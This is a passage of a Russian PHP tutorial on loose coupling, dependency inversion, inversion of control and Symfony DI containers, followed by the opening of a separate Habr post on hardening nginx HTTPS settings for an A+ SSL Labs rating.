Таким образом, мы получили неплохой алгоритм: вспомнили шаблон, подумали о количестве связей, поняли, что всё в порядке, и идём дальше. В этом случае система действительно будет работать хорошо.
Здесь дам идеальную картинку для большей наглядности. Допустим, у нас есть два куба. Это некоторые классы, которые взаимодействуют друг с другом. Точками обозначены методы. Методы хорошо связаны друг с другом, в идеале каждый из них взаимодействует со всеми остальными. Взаимодействием может быть вызов методов других классов.
Накладывая принцип Low Coupling, мы видим, что только один метод из первого класса взаимодействует с другим классом. Это и есть слабая связанность, значит, всё сделано как надо.
В паре с Low Coupling всегда идёт High Cohesion или сильное сцепление. Оно про то, что методы должны хорошо сочетаться (контактировать) друг с другом. Не буду на этом подробно останавливаться, можно дополнительно почитать книгу Крэга Лармана.
Тандем слабой связанности и сильного сцепления занимается тем, что задаёт некоторые правила для написания устойчивого к изменениям кода. Они нужны, чтобы проекты могли жить не один месяц, а много лет, и не приходилось переписывать существующий код снова и снова. Чем меньше трудозатрат на изменения, тем больше продуктовых инициатив можно реализовывать в проекте.
Слабая связанность присуща всем подходам, про которые буду говорить дальше.
Dependency Inversion
--------------------
Второй принцип, о котором хочу рассказать, — это инверсия зависимости. Не путать с Dependency Injection (внедрение зависимости).
Прежде чем рассказывать об инверсии, хочется разобраться, а что же стоит называть прямой зависимостью. Прямая зависимость — это классическая работа с программными компонентами. Например, у нас есть контроллер (Controller), который создаёт объект (Permissions), в котором происходит проверка прав доступа. В свою очередь Permissions создаёт объект алгоритма (Algorithm), в котором происходит разграничение зон ответственностей. Сами права доступа находятся в базе, поэтому в Algorithm создаётся объект ORM для получения данных о текущей роли и правах пользователя.
При прямой зависимости эта схема в коде выглядела бы таким образом:
```
// вызов из контроллера
(new Permissions())->getMethod();
class Permissions
{
public function getMethod()
{
// ...
$algorithm = new Algorithm();
// ...
}
}
class Algorithm
{
public function getData()
{
// ...
$orm = new ORM();
// ...
}
}
class ORM
{
// реализация методов
}
```
Проблема в том, что при прямой зависимости все классы достаточно жёстко сцеплены (связаны) друг с другом за счёт конструкции new, которая находится внутри классов. Расцепить эту связь сложно. У нас получилась явная иерархия, сверху вниз, где стек вызовов происходит по цепочке от первого элемента до конечного.
При такой схеме:
* Мы не можем подменить реализацию классов, потому что все классы и их создание прописаны прямо внутри тела метода. Выкинуть один класс и заменить его другим становится не так-то просто. Нужно сделать кучу телодвижений и переписать реализации, которые уже были протестированы.
* Сложно написать юнит-тесты, поскольку всё вызывается по цепочке.
* Бизнес-логика легко начинает растекаться по классам. В итоге становится непонятно, какой класс и какая абстракция должна реализовать ту или иную ответственность.
* Увеличивается зависимость классов друг от друга, и слабая связанность теряется.
Решить эти проблемы поможет принцип Dependency Inversion. Он был описан Робертом Мартином в книге «Гибкая разработка программ». У принципа достаточно большое определение:
> Модули верхнего уровня не должны зависеть от модулей нижнего уровня, те и другие должны зависеть от абстракций. Абстракции не должны зависеть от деталей. Детали должны зависеть от абстракций.
>
>
Если мы воспользуемся данным принципом, то схема начнёт выглядеть следующим образом:
У нас есть всё те же компоненты: контроллер, модуль проверки прав доступа, сущность с алгоритмами и база данных. Но в этом случае вся схема идёт не сверху вниз, а наоборот: нижний объект вкладывается в находящийся выше и так далее. Получается слоистая система, где есть классы и интерфейсы, а на входе в каждый метод или модуль нужно прокидывать в качестве аргумента объект, который лежит ниже по стеку.
Покажу, как это выглядит в коде:
```
$orm = new ORM();
$algorithm = new Algorithm();
(new Algorithm())->getData($orm);
(new Permissions())->getMethod($algorithm);
class Permissions
{
public function getMethod(IRules $rules)
{
// ...
}
}
class Algorithm implements IRules
{
public function getData(IDataResolver $dataResolver)
{
// ...
}
}
class ORM implements IDataResolver
{
// реализация методов
}
```
Чтобы применить инверсию, нужно вынести процесс создания объектов наверх, то есть убрать их из обозначенных классов. Возможно, это будет контроллер, возможно, некая прослойка или абстракция. Это не столь важно, главное, что они не находятся внутри стека вызова.
В новой схеме созданные объекты передаются через аргументы методов, а дальше мы работаем с ними как первоначально, когда рассматривали прямую зависимость. Нам даже не важно, какими объектами будут оперировать наши классы, самое главное, чтобы они реализовывали интерфейсы указанные в type hinting методов.
Итак. Мы инвертировали поход. Нижние слои теперь создаются первыми и прокидываются в вышележащие объекты. Мы получили весомые плюсы для структуры: теперь объекты не имеют жёсткой связанности, и Low Coupling выполняется идеально. Связей между объектами практически нет. Какой-то один-единственный уровень знает, как сцепить классы, но дальше они существуют автономно друг от друга, и подменить одну реализацию на другую будет несложно.
Если вы работали с Dependency Injection, то можете подумать, что это оно и есть. Почти, но не совсем. Между ними есть небольшая разница.
Здесь мы поговорили про Dependency Inversion, который описан в SOLID-принципах. Почитать про них можно в книгах [«Гибкая разработка программ»](https://www.ozon.ru/product/gibkaya-razrabotka-programm-na-java-i-c-printsipy-patterny-i-metodiki-138684801/) и [«Чистая архитектура»](https://www.google.ru/books/edition/%D0%A7%D0%B8%D1%81%D1%82%D0%B0%D1%8F_%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%98%D1%81/d6JSDwAAQBAJ?hl=ru&gbpv=1&printsec=frontcover). При этом автор Роберт Мартин сам говорит, что прародителем подхода был «Голливудский принцип», который, в свою очередь, использовал другой автор — Мартин Фаулер. Уже он рассказал про Dependency Injection. Эти принципы частично перекликаются, но обладают своими нюансами. Давайте сейчас рассмотрим подход, из которого родилось столько отличных концепций.
Hollywood Principle
-------------------
Сам по себе Голливудский принцип звучит до банальности просто:
> Не звони нам, мы сами позвоним тебе.
>
>
Голливудский принцип был описан аж в 1983 году в статье Ричарда Свита «Среда программирования Mesa» ([“The Mesa Programming Environment”](https://www.digibarn.com/friends/curbow/star/XDEPaper.pdf)). Приведу аналогию для запоминания. У нас есть звезда кино и менеджеры. Если вы начинающая звезда, то не надо названивать менеджерам, чтобы стать какой-то суперкрутой звездой. Пока вы не станете известными, они не будут поднимать трубку, зато сами позвонят, когда ваша известность дорастёт до нужного уровня.
Переводя на программистский язык, Голливудский принцип говорит о следующем:
> Инструмент должен организовываться так, чтобы предупреждать его, когда пользователь захочет передать какое-то событие. Вместо того, чтобы использовать модель, «запроси у пользователя команду и выполни её».
>
>
В определении надо обратить внимание на последнюю фразу. Приложение должно само выполнять команду пользователя, не дожидаясь от него действий. То есть приложение должно каким-то образом понимать, что произошло в системе. Получается, что оно фактически обладает неким разумом или интеллектом.
В итоге мы пришли к тому, что в разработке Голливудский принцип определяет поток управления программой. То есть определяет, кто управляет потоком: человек, программа либо какие-то особые подходы, о которых буду повествовать дальше.
Inversion of Control
--------------------
Из Голливудского принципа вытекает следующий подход — инверсия контроля. Если переносить инверсию контроля в реальный мир, то это как если бы птицы кормили людей. То же самое будет происходить у некоторых наших программных сущностей. Эти идеи описаны в статьях Мартина Фаулера, и Inversion of Control — его термин.
Если вспомнить Bash-скрипты, то все команды в них выполнялись последовательно, от первой строчки до последней.
```
#!/bin/bash
echo -n "Введите своё имя: "
read name
say_hello_func name
echo -n "Введите свой вопрос: "
read question
get_answer_func question
```
В этом листинге мы сначала запрашиваем имя пользователя, далее считываем значение, введенное пользователем, и вызываем некоторую функцию. В нашем случае это некоторая библиотека, которая будет приветствовать нас.
В этом примере мы полностью контролируем ход выполнения программы. После ввода имени поток управления программы передаётся в библиотеку say\_hello\_func, а затем возвращается обратно, чтобы мы могли продолжить взаимодействие с пользователем.
Дальше мы просим пользователя ввести свой вопрос, где снова передаём поток управления программой следующей библиотеке, которая пытается найти ответ. Такое взаимодействие напоминает общение с Siri или Google, когда ассистент взаимодействует с нами. Всё это является классической реализацией, когда мы полностью управляем ходом выполнения программы и периодически передаём поток библиотекам.
Но существует принципиально другой вариант работы с потоком управления. Он проявляется, когда в проекте используется фреймворк. Обычно при работе с современным приложением мы идём по некому URL, за которым стоит фреймворк, обрабатывающий запрос.
Вспомните инициализацию компонентов в своём фреймворке. Это будет достаточно большой конвейер, состоящий из разных модулей. Выполняя запрос к сайту, фреймворк предзагружает библиотеки, находит нужный роутинг и отрабатывает разные правила, может быть, это поход в базу данных или проверка прав доступа. В какой-то момент мы попадаем в контроллер. Это та точка расширения, которая пишется разработчиком.
```
class TestController
{
public function pageAction()
{
// …код приложения…
}
}
```
В такой ситуации мы фактически не являемся руководителем потока управлением программы. Фреймворк сам говорит, как приложение должно работать, и лишь на определённых этапах разработчик пишет расширение к фреймворку и говорит: «У меня есть такие-то ручки, такие-то страницы, которые будут работать тем или иным образом». Это как раз и есть инверсия контроля, когда не мы управляем ходом выполнения программы, а кто-то нами руководит. В данном случае, руководителем процесса будет тот самый фреймворк.
Инверсия контроля — это очередная метрика того, кто управляет ходом выполнения программы: мы, библиотека или фреймворк. Если мы вызываем библиотеку, то, скорее всего, мы же и управляем потоком, потому что пошагово контролируем каждую строчку кода. Во фреймворках контроль начинается лишь тогда, когда мы доходим до контроллера, и всего того кода, который заложили в систему.
Инверсию контроля можно найти в большом количестве разных мест. Если брать книгу Банды Четырёх [«Приёмы объектно-ориентированного проектирования. Паттерны проектирования»](https://www.google.ru/books/edition/%D0%9F%D0%B0%D1%82%D1%82%D0%B5%D1%80%D0%BD%D1%8B_%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE_%D0%BE%D1%80%D0%B8/1ZnsDwAAQBAJ?hl=ru&gbpv=1&printsec=frontcover), то это будут такие паттерны, как:
* Factory method.
* Abstract factory.
* Template method.
* Strategy.
Помимо этого инверсию можно найти в юнит-тестах, когда вызываются setUp() и tearDown() методы, а также в замыканиях и паттерне Service Locator.
Дальше расскажу о Service Locator, потому что он — часть библиотеки, которая работает как в Symfony DI, так и в других библиотеках, которые вы подключаете, когда хотите работать с Dependency Injection.
Service Locator
---------------
Service Locator создаёт и возвращает объекты по требованию. Это уже не абстрактный принцип, а конкретная реализация, обеспечивающая слабую связанность.
Service Locator появился задолго до Dependency Injection и в своё время неплохо справлялся со своей задачей, пока не были представлены лучшие реализации. Идея подхода заключается в следующем. У нас есть некоторое приложение, и вместо того, чтобы создавать конкретные объекты, мы абстрагируем этот процесс, смещая точку их создания в специальную отдельную сущность. Эта сущность и есть Service Locator.
```
class Car
{
public function drive()
{
$motor = Locator::get('motor');
// запуск цилиндрового двигателя
$transmission = Locator::get('transmission');
// переключение коробки передач
$wheels = Locator::get('wheels');
// вращение колёс
}
}
```
В этом примере нет конструкций new motor, new transmission, new wheels. Всё это делает Service Locator. Внутри себя он ищет нужную метку (такую как ‘motor’) и дальше создаёт объект. Данная реализация является лишь примером, паттерн можно реализовывать как угодно. Важна идея.
Плюс подхода в том, что создание классов выделено в отдельную абстракцию, а значит, нам не нужно знать, как создавать эти классы и какие аргументы передавать в конструктор. Также на такую реализацию проще написать тесты.
Service Locator был достаточно популярным, но у него есть свои минусы, из-за чего впоследствии он стал анти-паттерном. Главной проблемой стало то, что вместо зависимости от конкретного класса мы во всем приложении начинаем зависеть от Service Locator и получаем единую точку отказа. Как результат слабая связанность решалась частично. К началу 2010 года от этого подхода практически везде отказались в пользу DI, а Service Locator стал частью DI-библиотек.
Итак, Service Locator инкапсулирует процессы, связанные с получением информации об объектах по некоторому запросу.
Dependency Injection
--------------------
Dependency Injection похож на кукловода, который управляет программными сущностями. Давайте разберёмся с ним и разницей между инъекцией зависимости и инверсией зависимости, о которой шла речь ранее.
Когда-то существовал вопрос, как лучше создавать классы: писать «new название класса», чтобы получить объект, или делать статическую фабрику, когда статический метод create() создаст внутри себя объект и вернёт его.
```
class Order
{
public function getTotalAmount()
{
$discount = (new Discount())->calculate();
// или
$discount = Discount::create()->calculate();
}
}
```
Правильный ответ — ни то, ни другое не подходит. Ни первый, ни второй способ не даёт слабую связанность. Все зависимости в них будут фактически прибиты гвоздями к объектам, и написать удачный юнит-тест или подменить реализацию будет непросто. Поэтому Dependency Injection идёт иным путём.
Dependency Injection решает следующие задачи:
* Разрывает жёсткую связь между классом и его вспомогательными сервисами.
* Улучшает тестируемость кода.
* Уменьшает число классов, адаптирующих код, при переносе в другие приложения.
* Позволяет проще переносить в другие приложения классы, находящиеся на верхних уровнях (ближе к контроллеру), а нижние (ближе к базе данных) — менять на другие реализации.
Суть Dependency Injection в том, как внедрять одни объекты в другие. Мартин Фаулер предлагает три способа, как можно это сделать, хотя в интернете можно найти ещё один. Как правило, в реальных проектах используются первые два, третий и четвёртый приведу справочно.
### Constructor Injection
Первый вариант — это инъекция через конструктор. Его мы используем практически в каждом проекте, где есть DI.
```
$order = new Order(new Discount(), new Products());
class Order
{
private $discount;
private $products;
public function __construct(IDiscount $discount, IProduct $products)
{
$this->discount = $discount;
$this->products = $products;
}
public function getTotalAmount()
{
$totalPrice *= $this->discount->calculate();
}
}
```
В этом варианте через аргументы конструктора внедряются классы. Создание Discount и Products вынесено из Order. В идеале, в type hinting конструктора Order указаны интерфейсы, а не конечные классы. Хотя на практике вариант с интерфейсом чаще всего расточителен и применяется редко.
Плюсы данного подхода в том, что его легко реализовать, здесь нет никаких подводных камней. Все зависимости будут обязательны: всё, что в конструкторе объявлено, то и надо прокидывать. Но будьте аккуратны. Low Coupling говорит, что связь между классами должна быть минимальна. Поэтому если вы будете прокидывать пять и более объектов, то, наверное, что-то идёт не так, и сам по себе класс будет весьма закрепощён.
Минусы инъекции через конструктор в том, что нет возможности не внедрять классы. Все зависимости обязательные. Также нельзя добавить динамичности, когда сначала пробрасывается один набор классов, а затем другой. Да, можно сделать какие-то ухищрения через сеттер-методы, но это немного другое. Если аргументов слишком много, реализация будет выглядеть некрасиво, даже неправильно с точки зрения Low Coupling.
### Setter Injection
Второй подход — внедрение через сеттер-методы — чуть менее популярен, но мы его используем, когда нужна опциональность.
```
$order = (new Order())
->setDiscount(new Discount())
->setProducts(new Products());
class Order
{
private $discount;
private $products;
public function setDiscount(IDiscount $discount)
{
$this->discount = $discount;
return $this;
}
public function setProducts(IProduct $products)
{
$this->products = $products;
return $this;
}
public function getTotalAmount()
{
$totalPrice = 0;
if ($this->products !== null) {
foreach ($this->products->getProducts() as $product) {
$totalPrice += $product->getPrice();
}
}
$totalPrice *= $this->discount !== null
? $this->discount->calculate()
: 1;
}
}
```
Разница между ним и внедрением через конструктор заключается лишь в том, что вместо конструктора есть сеттер-методы. Для каждой зависимости мы создаём отдельный сеттер-метод, и через них внедряем каждую сущность. Тут есть нюанс: нужно добавить проверку на случай, если сеттер-метод не был вызван. В таком случае свойство, отвечающее за сущность, будет иметь значение null.
Плюс данной реализации в том, что есть возможность выбора, внедрять класс или нет, и это можно делать динамически. В теории возможно внедрить сначала первый класс, потом дальше по ходу реализации программы пробросить какой-то другой класс, который удовлетворяет интерфейсу. Такое, в принципе, возможно, хотя и непонятно, зачем.
Минус в том, что можно забыть внедрить какую-то зависимость и в результате не получить что-то в качестве конечного результата. Второй неприятный момент — надо не забывать делать проверки на null и обрабатывать ситуации, если вдруг зависимость не была прокинута изначально. Ещё для каждой зависимости нужно прописывать свой сеттер. Код немного увеличивается в размерах, но это не столь критично.
Инъекция через конструктор и сеттер-методы — это два основных подхода у Dependency Injection. Есть ещё два дополнительных, давайте их рассмотрим.
### Interface Injection
В этом варианте зависимость создаётся на основе интерфейса. Правда, каждый интерфейс должен реализовываться одним классом, иначе будет невозможно определить, который класс необходимо выбрать для внедрения.
```
$order = $container->get('order');
class Order
{
private $discount;
private $products;
public function __construct(IDiscount $discount, IProduct $products)
{
$this->discount = $discount;
$this->products = $products;
}
public function getTotalAmount()
{
$totalPrice *= $this->discount->calculate();
}
}
```
В таком случае мы можем прокинуть зависимость один к одному. Система сама может догадаться о том, что эту сущность можно прокинуть здесь, и ничего дополнительного делать не нужно. По сути, это тот же самый autoware из Symfony DI. Нам не нужно описывать процесс, мы просто говорим: «создай класс Order, найди зависимости и внедри их». Плюсы и минусы в этом варианте точно такие же, как у инъекции через конструктор.
### Property Injection
Последний способ — это внедрение через публичные свойства. Пользоваться им не рекомендую, хоть Symfony DI его и поддерживает.
```
$order = new Order();
$order->discount = new Discount();
$order->products = new Products();
class Order
{
public $discount;
public $products;
public function getTotalAmount()
{
$totalPrice = 0;
if ($this->products !== null) {
foreach ($this->products->getProducts() as $product) {
$totalPrice += $product->getPrice();
}
}
$totalPrice *= $this->discount !== null
? $this->discount->calculate()
: 1;
}
}
```
По смыслу подход похож на сеттер-метод, только сами сеттер-методы писать не нужно, достаточно сделать свойства публичными и добавить в коде проверки на null. Здесь, в общем-то, минимальный код: определили свойства, прокинули и сделали нужные проверки.
Ещё раз повторюсь, делать так не стоит, поскольку через сеттер-методы есть возможность дописать дополнительную бизнес-логику и проверки. Это более надежный способ, чем неконтролируемое добавление данных через публичные свойства.
### Разница между Dependency Inversion и Dependency Injection
Рассмотрев четыре способа внедрения зависимости, хочется добавить, что задача Dependency Injection заключается в том, чтобы предоставлять программному компоненту внешнюю зависимость. То есть мы говорим про способ, которым будут доставляться объекты в конкретный instance.
Пройдя долгий путь, мы пришли к самому интересному и готовы понять разницу между принципами. Тут хотелось бы дать сравнение, чем инверсия зависимости отличается от внедрения зависимости. Они делают похожие вещи, но немного по-разному.
Здесь важна идея, с которой подходил каждый из авторов — Роберт Мартин и Мартин Фаулер — к описанию своего принципа. В инверсии зависимости, которая описана в SOLID-принципах, говорится лишь о том, что это подход инвертирования иерархии классов. Он о том, что система переворачивается: нижние модули вкладываются в верхние, верхние — в следующие верхние и так далее. Dependency Injection рассказывает про способ, как внедрять классы друг в друга. В этом, по сути, и есть разница.
Получается, инверсия про то, как относиться к работе с кодом, а внедрение — про способы. При этом в инверсии зависимости неважно, как вы будете прокидывать зависимости — через конструктор или сеттер-методы. Если говорить о первоисточнике, то в нём достаточно было прокинуть зависимость через аргумент вызываемого метода.
| | |
| --- | --- |
| **Dependency Inversion** | **Dependency Injection** |
| Общий принцип инвертирования зависимости. | Конкретные способы внедрения зависимости. |
Если сравнить Service Locator и Dependency Injection, то у них различие уже более явное.
| | |
| --- | --- |
| **Service Locator** | **Dependency Injection** |
| Конечные классы зависят от локатора. | Зависимость внедряется на верхних уровнях. |
В Service Locator конечные классы знают про существование Service Locator и зависят от него. В Dependency Injection зависимость внедряется на верхних уровнях или в отдельной абстракции, а конечные классы ничего не знают о DI, и это очень весомый плюс.
Теперь давайте поговорим про то, во что в конечном счёте вылился Dependency Injection, и что же на самом деле мы используем в своей работе.
DI-контейнер
------------
Как правило, когда мы скачиваем с GitHub очередную библиотеку для подключения в свой проект DI-подходов, то по инерции продолжаем называть подобные ведоровские библиотеки просто DI. Мартин Фаулер же называет их термином «DI-контейнер» или «IoC-контейнер». Почему так?
Для начала сравним, чем отличается инверсия контроля от DI-контейнера. Инверсия контроля — это общий принцип, определяющий поток в нашей программе, а DI-контейнер — это библиотека или некоторый фреймворк, который реализует концепцию Dependency Injection. Inversion of Control — это верхнеуровневая идея или подход, а не программная реализация. DI-контейнер — это уже выраженная в коде библиотека, которую можно скачать через GitHub и использовать в проекте.
| | |
| --- | --- |
| **Inversion of Control** | **DI-контейнер** |
| Общий принцип, определяющий поток управления в программе. | Реализует Dependency Injection в виде библиотеки или фреймворка. |
Интересная особенность: во внутренней реализации вендорских библиотек всегда используется Service Locator. Он, как правило, не торчит наружу. В Symfony DI это называется словом container. Как только вы видите слово container, то должны понимать: ага, это Service Locator, он содержит информацию обо всех классах, описанных в конфигурационном файле (в Symfony DI это может быть yml, xml, php).
Напомню, что Service Locator сейчас имеет статус анти-паттерна, поэтому если вдруг вы обращаетесь в своём коде к контейнеру напрямую, значит, вы что-то делаете не так. Внутри DI-контейнера он отлично справляется со своей задачей, но если начать работать с ним напрямую, это нарушит Low Coupling и свяжет реализации в труднорасширяемый монолит.
Давайте рассмотрим работу DI-контейнера на реальном примере. Всё начинается с того, что мы открываем в браузере некоторый URL, с которым связан контроллер. В таком контроллере мы прокидываем зависимости. В примере ниже их достаточно много. Конечно, это нарушает Low Coupling, но такова действительность: разделение класса на несколько сущностей лишь затруднит работу с классом и вместо положительного эффекта мы получим лишь минусы. Можно сказать, что текущей декомпозиции достаточно для оперирования реализацией, поэтому при использовании того или иного принципа, думайте головой. Принципы — лишь маркеры, чтобы не допустить проблем, а не табу или аксиома.
```
class Subscription extends Admin
{
private SubscriptionService $subscriptionService;
private ContractService $contractService;
private TariffSettings $tariffSettings;
private ShopSubscriptionHistory $shopSubscriptionHistory;
public function __construct(
SubscriptionService $subscriptionService,
ContractService $contractService,
TariffSettings $tariffSettings,
ShopSubscriptionHistory $shopSubscriptionHistory
) {
parent::__construct();
$this->subscriptionService = $subscriptionService;
$this->contractService = $contractService;
$this->tariffSettings = $tariffSettings;
$this->shopSubscriptionHistory = $shopSubscriptionHistory;
}
```
Дальше идём в yml-файл, где описаны все зависимости между классами. Без этого конфигурационного файла, к сожалению, DI-контейнер не может существовать. В файле описаны все классы системы, а также требующиеся им зависимости или, другими словами, связь классов друг с другом.
```
Admin\Subscription:
autowire: true
```
Дальше происходит магия. Если мы говорим про Symfony DI, то конфигурационный файл (например, в yml-формате) нужен не только для описания классов системы, но и для кодогенерации. Когда наше приложение выполняется, оно никогда не работает с yml-файлом. Вместо этого происходит обращение к Cached Container, который создаётся на основе описания yml. В Cached Container как раз описывается, как нужно создать классы с зависимостями.
```
/**
* Gets the public 'Admin\Subscription' shared autowired service.
*
* @return \Admin\Subscription
*/
protected function getSubscriptionService()
{
$a = ($this->services['SubscriptionV2\\ContractService'] ?? $this->getContractServiceService());
return $this->services['Admin\\Subscription'] =
new \Admin\Subscription(
($this->services['SubscriptionV2\\SubscriptionService'] ?? $this->getSubscriptionServiceService()),
$a,
($this->services['SubscriptionV2\\TariffService'] ?? $this->getTariffServiceService()),
($this->services['ShopSettings\\TariffSettings'] ?? $this->getTariffSettingsService()),
new \ShopSubscriptionHistory($a, ($this->privates['SubscriptionV2\\Presenter\\Contract'] ?? $this->getContract2Service())),
($this->services['SubscriptionV2\\PriceCalculator'] ?? $this->getPriceCalculatorService())
);
}
```
Давайте откроем сгенерированный файл, чтобы посмотреть, каким образом он создаёт и возвращает объекты в проекте. Внутри он состоит из большого числа методов, в каждом из которых формируется единственный объект, а аргументы конструктора мы получаем по цепочке из других методов Cached Container.
Благодаря такой схеме, невозможно получить циклические ссылки. Даже больше того, они будут найдены ещё на этапе кодогенерации Cached Container. Когда в нашем фреймворке будет необходимо создать объект Subscription, будет вызван метод getSubscriptionService(), а он вызовет методы, на основе которых будут созданы объекты, необходимые для конструктора Subscription.
А где здесь Service Locator, спросите вы? Ответ лежит на поверхности: свойство services это и есть Service Locator. Он инкапсулирован в DI-контейнер и хранит внутри себя созданные объекты системы. По сути, это отображение описания классов из yml-файла. Все объекты создаются один раз, на что указывает проверка с тернарным оператором null coalescing. То есть если объект ещё не создавался, будет вызван соответствующий метод, в котором он будет создан, и также он будет присвоен в массив services. При повторном обращении к классу, будет возвращён уже созданный экземпляр объекта. Такое поведение экономит память. Если же вы вдруг работаете с состоянием объекта особым образом, и вам нужен его свежий instance, то в Symfony DI используется параметр shared=false.
Плюсы DI-контейнеров заключаются в следующем. Во-первых, это универсальное решение для сбора полноценного приложения из множества компонентов. Мы можем, грубо говоря, скопировать нужные классы из одного приложения в другое. Чаще всего это некая фантастика, но в целом к этому можно немного приблизиться. Тут главное понять, что DI-контейнеры из-за своей архитектуры делают слабо связанные классы, полностью удовлетворяющие Low Coupling.
Используя их, можно легко подменить один класс другим, поскольку сборка проекта происходит на уровне YAML. Нам нужно лишь правильно прописать тот или иной класс или поменять одну зависимость на другую. Поскольку классы друг о друге не знают, то юнит-тесты или интеграционные тесты пишутся без каких-то сложностей.
Основные минусы в том, что при использовании DI нам становится сложно понять, какие зависимости прокидываются в текущие классы. Решить эту проблему можно в PhpStorm, если использовать плагин Symfony. Благодаря ему проще находить описание класса в yml-файле и, наоборот, переходить из yml в класс. Без плагина приходится многое держать в голове и делать много рутинных действий.
Также эта дополнительная библиотека-прослойка требует, чтобы её поддерживали в актуальном состоянии и следили за актуальностью всех связей. И последний момент: порог входа в проект из-за этого улучшения резко повышается.
Итого
-----
Мы изучили все подходы, которые так или иначе связаны с Dependency Injection, поняли всю иерархию и разобрали, что означает каждый из элементов внутри неё.
Я начинал статью с роли интуиции в инженерной практике. Мы поняли, что интуиция — не совсем то, что помогает строить хорошее и грамотное приложение. Вместо неё лучше использовать проверенные подходы, которые позволяют работать с кодом гибко, удобно и правильно.
Любой подход надо использовать с головой. Если в реализации есть DI или слабая связанность, это не значит, что надо специально уменьшать количество классов. На практике мы часто приходим к тому, что зависимостей всё равно много, потому что так проще работать. Практика и теория могут иногда расходиться, и в этом нет ничего ужасного. Всё должно делаться для удобства.
Если тема показалась вам интересной или хочется погрузиться глубже в материал, то можно дополнительно почитать статьи Мартина Фаулера, в которых он описывает, что такое Inversion of Control:
* [Inversion of Control.](https://martinfowler.com/bliki/InversionOfControl.html)
* [Перевод.](https://habr.com/post/116232/)
И также про Dependency Injection:
* [Inversion of Control Containers and the Dependency Injection pattern.](https://martinfowler.com/articles/injection.html)
* [Вольный перевод статьи "Inversion of Control Containers and the Dependency Injection pattern".](http://yugeon-dev.blogspot.com/2010/07/inversion-of-control-containers-and_21.html) Часть 1.
* [Вольный перевод статьи "Inversion of Control Containers and the Dependency Injection pattern".](http://yugeon-dev.blogspot.com/2010/07/blog-post.html) Часть 2. | https://habr.com/ru/post/556924/ | null | ru | null |
# Nginx и https. Получаем класс А+
Недавно вспомнилось мне, что есть такой сервис — StartSsl, который совершенно бесплатно раздаёт trusted сертификаты владельцам доменов для личного использования. Да и выходные попались свободные. В общем сейчас напишу, как в nginx настроить HTTPS, чтобы при проверке в SSL Labs получить рейтинг А+ и обезопасить себя от последних багов с помощью выпиливания SSL.
Итак, приступим. Будем считать, что у вы уже зарегистрировались на StartSsl, прошли персональную проверку и получили вожделенный сертификат. Для начала опубликую итоговый конфиг, а после этого разберу его.
Вот что у меня получилось:
```
server {
server_name dsmirnov.pro www.dsmirnov.pro;
listen 80;
return 301 https://dsmirnov.pro$request_uri;
}
server {
listen 443 ssl spdy;
server_name dsmirnov.pro;
resolver 127.0.0.1;
ssl_stapling on;
ssl on;
ssl_certificate /etc/pki/nginx/dsmirnov.pro.pem;
ssl_certificate_key /etc/pki/nginx/dsmirnov.pro.clean.key;
ssl_dhparam /etc/pki/nginx/dhparam.pem;
ssl_session_timeout 24h;
ssl_session_cache shared:SSL:2m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers kEECDH+AES128:kEECDH:kEDH:-3DES:kRSA+AES128:kEDH+3DES:DES-CBC3-SHA:!RC4:!aNULL:!eNULL:!MD5:!EXPORT:!LOW:!SEED:!CAMELLIA:!IDEA:!PSK:!SRP:!SSLv2;
ssl_prefer_server_ciphers on;
add_header Strict-Transport-Security "max-age=31536000;";
add_header Content-Security-Policy-Report-Only "default-src https:; script-src https: 'unsafe-eval' 'unsafe-inline'; style-src https: 'unsafe-inline'; img-src https: data:; font-src https: data:; report-uri /csp-report";
}
```
В первой секции всё вроде понятно, любой вход по http с любым URI редиректит с этим-же URI в схему https.
Начнём разбор секции server для https. Директивой **listen 443 ssl spdy;** сразу включаем spdy. Вот на картинке разница:
Следущим шагом включаем **ssl\_stapling on;** — позволяем серверу прикреплять OCSP-ответы, тем самым уменьшая время загрузки страниц у пользователей. Цепочка сертификатов (доменный — промежуточный центр авторизации — корневой центр авторизации) может содержать 3-4 уровня. И на каждый уровень браузер должен устанавливать соединение и получать сертификат. Можно отправить все сертификаты (включая промежуточный: именно за этим была настройка TCP-окон отправки, чтобы цепочка сертификатов гарантированно поместилась в в одну пересылку пакетов) разом, тогда браузер проверит всю цепочку локально, а запросит только корневой (который в большинстве случаев уже находится на клиенте). Для работы этой функции обязательно описать resolver — у меня поднят свой собственный DNS сервер, поэтому в качестве значения указан 127.0.0.1, Вы можете указать 8.8.8.8, но многие в последнее время на него ругаются. Что такое ssl on; я думаю нет смысла рассказывать.
Далее директивами **ssl\_certificate** и **ssl\_certificate\_key** указываем пути к полученным через StartSsl сертификатам. У вас уже есть 3 файла: domain.ru.key, domain.ru.crt и sub.class1.server.ca.pem. Копируем ключи в ( моём случае ) /etc/pki/nginx.
Не забываем, что pem файл для nginx должен быть смержен с сертификатом CA ( Должно получиться из 3х — 2 файла. ):
```
cp domain.ru.key /etc/pki/nginx
cat domain.ru.crt sub.class1.server.ca.pem > /etc/pki/nginx/domain.ru.pem
```
Теперь о **ssl\_dhparam /etc/pki/nginx/dhparam.pem;** — это нужно, чтобы у нас заработал Forward Secrecy. Прямая секретность означает, что если третья сторона узнает какой-либо сеансовый ключ, то она сможет получить лишь доступ к данным, защищенным лишь этим ключом. Для сохранения совершенной прямой секретности ключ, используемый для шифрования передаваемых данных, не должен использоваться для получения каких-либо дополнительных ключей. Также, если ключ, используемый для шифрования передаваемых данных, был получен (derived) на базе какого-то еще ключевого материала, этот материал не должен использоваться для получения каких-либо других ключей.
Сгенерировать ключ можно так:
```
openssl dhparam -out /etc/pki/nginx/dhparam.pem 4096
```
Далее несложные настройки ssl\_session\_timeout 24h; и ssl\_session\_cache shared:SSL:2m;, которые не требуют особенных описаний — срок истечения сессии и размер памяти, выделяемой для хранения кеша — у меня бложик маленький, поэтому 2 Мб вполне достаточно.
